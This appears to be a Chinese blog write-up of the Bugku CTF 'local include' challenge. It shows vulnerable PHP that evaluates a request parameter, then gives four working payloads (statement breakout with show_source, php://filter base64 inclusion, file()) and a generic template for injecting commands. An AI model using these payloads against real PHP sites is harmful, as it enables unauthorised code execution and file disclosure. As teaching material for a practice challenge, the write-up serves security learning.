bugku_本地包含
先上payload:
1、?hello=);show_source(%27flag.php%27);//
2、?hello=);include $_POST['zzz'];//
POST传参:zzz=php://filter/read=convert.base64-encode/resource=flag.php
3、?hello=file(%27flag.php%27)
4、?hello=show_source('flag.php')
首先我们来看源码:
1 2 3 4 5 6 | <?php include "flag.php" ; //flag存储在flag.php这个脚本里,但是被注释掉了,我们需要把flag.php的源码整个显示出来 $a = @ $_REQUEST [ 'hello' ]; //无论是以POST还是GET方式,都可以给$a赋值 eval ( "var_dump($a);" ) //var_dump可以输出变量的类型和值,详见手册 show_source( __FILE__ ); ?> |
出现了include/require这两个函数,就是典型的文件包含攻击的漏洞了
接下来是每个payload的原理分析:
payload1:?hello=);show_source(%27flag.php%27);//
如果读者对SQL注入了解比较多,那么理解这种方式的原理可能相对来说就比较容易了。
当代码第二行结束时,$a=);show_source(%27flag.php%27);//
将其代入第三行:
eval("var_dump();show_source(%27flag.php%27);//);")
eval会执行代码,那么脚本里面执行的也就是:
var_dump();show_source(%27flag.php%27);//)
如果还看不清楚,那我把它分开来写:
1 2 3 | var_dump(); show_source( 'flag.php' ); //) |
看懂了吧?
所以说,这种攻击方式和SQL注入的payload很像:
“);”负责把前面的命令闭合掉
“//”负责把原来命令的残余部分注释掉
中间的那部分就是我们希望执行的命令,这是典型的“命令注入”式的攻击方式!
所以payload的格式是:
);the_command_that_you_want_to_execute//
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理